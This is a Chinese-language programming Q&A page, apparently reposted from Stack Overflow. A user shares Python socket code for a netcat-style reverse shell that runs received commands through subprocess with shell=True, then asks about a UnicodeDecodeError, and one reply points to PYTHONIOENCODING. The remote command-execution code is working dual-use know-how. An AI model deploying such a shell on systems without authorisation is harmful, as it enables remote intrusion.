我想寫一個像netcat這樣的反向shell。一切正常,但在輸入幾個命令后,客戶端機器拋出錯誤。我設法找出問題所在。當我更改到服務器上的桌面目錄時,例如 C:/Users/Desktop 并輸入命令“dir”時,客戶端機器上會拋出錯誤。
請注意,這open_shell是我True通過將引數傳遞給程式而設定的布林值
服務器代碼:
'''creates server'''
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((target, port))
print(f"[*] Connecting to client ...", os.linesep)
client_msg = server.recv(buffer_size).decode()
print("[*] current directory: ", client_msg)
# opening a reverse shell to client
if open_shell:
server.send("open shell".encode())
print(server.recv(buffer_size).decode())
while True:
command = input(">>")
if command.lower() == "exit":
print("[*] Closing connection ...")
break
if not command.strip():
continue
else:
server.send(command.encode())
output = server.recv(buffer_size).decode()
print(output)
客戶端代碼:
'''creates client'''
global target
if not len(target):
target = "0.0.0.0"
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.bind((target, port))
client.listen(5)
client_socket, addr = client.accept()
print("[*] Connected to server ...")
cwd = os.getcwd()
client_socket.send(cwd.encode())
command = client_socket.recv(buffer_size).decode()
if command.lower() == "exit":
print("[*] Connection closed by server ...")
break
if command.lower() == "open shell":
client_socket.send("[*] reverse shell established\n[*] To exit reverse shell type in 'exit'".encode())
while True:
execute = client_socket.recv(buffer_size).decode()
if execute.lower() == "exit":
break
message = run_command(execute) # executes command on client
client_socket.send(message.encode())
錯誤位于“通信”功能的流程模塊中,但我無法弄清楚要繼續進行。
錯誤:
Traceback (most recent call last):
File "netcat.py", line 200, in <module>
main()
File "netcat.py", line 195, in main
client_object()
File "netcat.py", line 122, in client_object
message = run_command(execute) # executes command on client
^^^^^^^^^^^^^^^^^^^^
File "netcat.py", line 33, in run_command
output = subprocess.getoutput(command)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "Python\Python311\Lib\subprocess.py", line 689, in getoutput
return getstatusoutput(cmd, encoding=encoding, errors=errors)[1]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "Python\Python311\Lib\subprocess.py", line 669, in getstatusoutput
data = check_output(cmd, shell=True, text=True, stderr=STDOUT,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "Python\Python311\Lib\subprocess.py", line 465, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "Python\Python311\Lib\subprocess.py", line 548, in run
stdout, stderr = process.communicate(input, timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "Python\Python311\Lib\subprocess.py", line 1192, in communicate
stdout = self.stdout.read()
^^^^^^^^^^^^^^^^^^
File "Python\Python311\Lib\encodings\cp1252.py", line 23, in decode
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 323: character maps to <undefined>
uj5u.com熱心網友回復:
在啟動 Python 之前,設定您的環境變數PYTHONIOENCODING=utf-8。
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/536283.html
上一篇:Bash-復雜的if條件陳述句,結合&&和||一起測驗算術和字串
下一篇:使用shell洗掉列中的重復字串
